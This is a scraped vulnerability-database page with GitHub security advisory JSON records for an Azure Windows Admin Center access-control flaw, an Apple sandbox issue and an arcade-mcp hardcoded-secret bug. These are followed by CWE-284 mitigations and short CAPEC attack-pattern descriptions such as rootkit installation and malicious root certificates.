"url": "https://github.com/ArcadeAI/arcade-mcp/commit/7fb097f20fbea35e382a1b78da6fd90609c55a9e"
},
{
"type": "PACKAGE",
"url": "https://github.com/ArcadeAI/arcade-mcp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "arcade-mcp-server Has Default Hardcoded Worker Secret That Allows Full Unauthorized Access to All HTTP MCP Worker Endpoints"
}
GHSA-G2MF-4FPR-7CCJ
Vulnerability from github – Published: 2026-03-10 18:31 – Updated: 2026-03-10 18:31Improper access control in Azure Portal Windows Admin Center allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-23660"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-10T18:18:14Z",
"severity": "HIGH"
},
"details": "Improper access control in Azure Portal Windows Admin Center allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-g2mf-4fpr-7ccj",
"modified": "2026-03-10T18:31:19Z",
"published": "2026-03-10T18:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23660"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G2MG-7CH7-9VR3
Vulnerability from github – Published: 2025-11-04 03:30 – Updated: 2025-12-17 21:30An access issue was addressed with additional sandbox restrictions. This issue is fixed in visionOS 26.1, macOS Sonoma 14.8.2, macOS Sequoia 15.7.2, watchOS 26.1, iOS 26.1 and iPadOS 26.1, tvOS 26.1. A sandboxed app may be able to observe system-wide network connections.
{
"affected": [],
"aliases": [
"CVE-2025-43413"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-04T02:15:47Z",
"severity": "HIGH"
},
"details": "An access issue was addressed with additional sandbox restrictions. This issue is fixed in visionOS 26.1, macOS Sonoma 14.8.2, macOS Sequoia 15.7.2, watchOS 26.1, iOS 26.1 and iPadOS 26.1, tvOS 26.1. A sandboxed app may be able to observe system-wide network connections.",
"id": "GHSA-g2mg-7ch7-9vr3",
"modified": "2025-12-17T21:30:35Z",
"published": "2025-11-04T03:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43413"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125632"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125634"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125635"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125636"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125637"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125638"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125639"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.